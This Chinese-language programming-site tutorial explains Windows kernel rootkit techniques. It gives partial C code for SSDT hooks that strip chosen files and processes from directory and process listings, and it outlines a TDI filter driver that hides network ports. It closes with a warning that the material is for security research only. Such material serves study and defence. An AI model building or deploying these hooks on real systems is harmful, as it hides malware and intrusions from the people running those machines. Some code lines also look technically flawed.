首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC 教學

Rootkit 技術:隱藏進程、檔案/目錄、登錄、連接埠 (核心層攔截)

     編輯:VC 教學

核心原理

要在系統層級隱藏物件,需攔截核心模式下的關鍵查詢函數:

  • 檔案/目錄枚舉:ZwQueryDirectoryFile
  • 進程列表查詢:ZwQuerySystemInformation (SystemInformationClass = 5)
  • 登錄值枚舉:ZwEnumerateValueKey 等
  • TCP/UDP 連接埠查詢:TDI 裝置 (\Device\Tcp, \Device\Udp) 的 IRP 處理

攔截方式:編寫核心驅動程式,修改系統服務描述表 (SSDT / System Call Table) 將上述函數指向自訂的 Hook 函數。因 SSDT 位於 Ring 0,必須由驅動程式在核心模式執行修改。

關鍵資料結構 (節錄)

// 目錄枚舉項目
struct _DirEntry {
    DWORD dwLenToNext; DWORD dwAttr;
    FILETIME ftCreate, ftLastAccess, ftLastWrite;
    DWORD dwFileSizeLow, dwFileSizeHigh;
    WORD wNameLen; WCHAR suName[1]; // 變長檔名
};

// 進程資訊
struct _SYSTEM_PROCESSES {
    ULONG NextEntryDelta, ThreadCount;
    LARGE_INTEGER CreateTime, UserTime, KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId, InheritedFromProcessId, HandleCount;
    VM_COUNTERS VmCounters; IO_COUNTERS IoCounters;
    _SYSTEM_THREADS Threads[1];
};

Hook 範例:隱藏目錄/檔案

NTSTATUS HookZwQueryDirectoryFile(...)
{
    NTSTATUS rc = OldZwQueryDirectoryFile(...); // 先呼叫原函數
    if (NT_SUCCESS(rc)) {
        PDirEntry p = (PDirEntry)FileInformationBuffer, pLast = NULL;
        BOOL bLastOne;
        do {
            bLastOne = !(p->dwLenToNext);
            // 取得檔案名 (Unicode 轉 ANSI 大寫比對)
            // 在隱藏列表鏈結串列中查找
            if (found) {
                if (bLastOne) {
                    if (p == FileInformationBuffer) rc = 0x80000006; // STATUS_NO_MORE_FILES
                    else pLast->dwLenToNext = 0;
                } else {
                    // 從緩衝區移除該項目:將後續資料前移覆蓋
                    RtlCopyMemory(p, (char*)p + p->dwLenToNext, iLeft);
                    continue;
                }
            }
            pLast = p;
            p = (PDirEntry)((char*)p + p->dwLenToNext);
        } while (!bLastOne);
    }
    return rc;
}

Hook 範例:隱藏進程

NTSTATUS HookZwQuerySystemInformation(...)
{
    NTSTATUS rc = OldZwQuerySystemInformation(...);
    if (NT_SUCCESS(rc) && g_hide_proc && SystemInformationClass == 5) {
        _SYSTEM_PROCESSES *curr = (_SYSTEM_PROCESSES*)SystemInformation, *prev = NULL;
        while (curr) {
            // 取得進程名,比對隱藏列表
            if (found) {
                // 從鏈結串列移除:調整 NextEntryDelta
                if (prev) prev->NextEntryDelta += curr->NextEntryDelta;
                else (char*)SystemInformation += curr->NextEntryDelta;
                // 繼續檢查下一個 (可能有多個同名進程)
            } else {
                prev = curr;
            }
            if (curr->NextEntryDelta) (char*)curr += curr->NextEntryDelta;
            else curr = NULL;
        }
    }
    return rc;
}

隱藏連接埠:TDI 過濾驅動

  1. 取得 \Device\Tcp、\Device\Udp 裝置物件指標 (IoGetDeviceObjectPointer)。
  2. 建立自己的裝置物件並附加到目標裝置堆疊頂端 (IoAttachDeviceToDeviceStack)。
  3. 攔截 IRP_MJ_DEVICE_CONTROL,針對 QUERY_INFORMATION_EX (TDI 查詢命令) 直接完成 IRP 並回傳成功,不傳遞給下層,即可隱藏特定連接埠資訊。

警告:此類技術屬於 Rootkit 範疇,僅供安全研究與防禦理解使用,濫用將觸犯法律。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved